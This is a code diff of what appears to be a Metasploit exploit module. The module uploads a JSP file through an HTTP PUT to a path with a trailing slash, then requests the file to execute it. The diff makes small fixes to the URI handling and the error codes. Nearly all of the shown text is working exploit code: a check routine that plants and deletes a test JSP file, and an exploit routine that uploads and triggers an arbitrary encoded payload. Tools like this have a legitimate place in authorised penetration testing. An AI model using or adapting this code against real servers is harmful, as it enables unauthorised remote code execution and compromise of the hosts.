@@ -59,21 +59,21 @@ def check
59
59
testurl = Rex ::Text ::rand_text_alpha ( 10 )
60
60
testcontent = Rex ::Text ::rand_text_alpha ( 10 )
61
61
62
- res = send_request_cgi ( {
63
- 'uri' => normalize_uri ( target_uri , "#{ testurl } .jsp/" ) ,
62
+ send_request_cgi ( {
63
+ 'uri' => normalize_uri ( target_uri . path , "#{ testurl } .jsp/" ) ,
64
64
'method' => 'PUT' ,
65
65
'data' => "<% out.println(\" #{ testcontent } \" );%>"
66
66
} )
67
67
68
68
res1 = send_request_cgi ( {
69
- 'uri' => normalize_uri ( target_uri , "#{ testurl } .jsp" ) ,
69
+ 'uri' => normalize_uri ( target_uri . path , "#{ testurl } .jsp" ) ,
70
70
'method' => 'GET'
71
71
} )
72
72
73
73
if res1 && res1 . body . include? ( testcontent )
74
- res2 = send_request_cgi (
74
+ send_request_cgi (
75
75
opts = {
76
- 'uri' => normalize_uri ( target_uri , "#{ testurl } .jsp/" ) ,
76
+ 'uri' => normalize_uri ( target_uri . path , "#{ testurl } .jsp/" ) ,
77
77
'method' => 'DELETE'
78
78
} ,
79
79
timeout = 1
@@ -85,18 +85,17 @@ def check
85
85
end
86
86
87
87
def exploit
88
-
89
88
print_status ( "Uploading payload..." )
90
89
testurl = Rex ::Text ::rand_text_alpha ( 10 )
91
90
92
91
res = send_request_cgi ( {
93
- 'uri' => normalize_uri ( target_uri , "#{ testurl } .jsp/" ) ,
92
+ 'uri' => normalize_uri ( target_uri . path , "#{ testurl } .jsp/" ) ,
94
93
'method' => 'PUT' ,
95
- 'data' => " #{ payload . encoded } "
94
+ 'data' => payload . encoded
96
95
} )
97
96
if res && res . code == 201
98
97
res1 = send_request_cgi ( {
99
- 'uri' => normalize_uri ( target_uri , "#{ testurl } .jsp" ) ,
98
+ 'uri' => normalize_uri ( target_uri . path , "#{ testurl } .jsp" ) ,
100
99
'method' => 'GET'
101
100
} )
102
101
if res1 && res1 . code == 200
@@ -105,9 +104,8 @@ def exploit
105
104
fail_with ( Failure ::PayloadFailed , "Failed to execute the payload" )
106
105
end
107
106
else
108
- fail_with ( Failure ::Unknown , "Failed to upload the payload" )
107
+ fail_with ( Failure ::UnexpectedReply , "Failed to upload the payload" )
109
108
end
110
-
111
109
end
112
- end
113
110
111
+ end
0 commit comments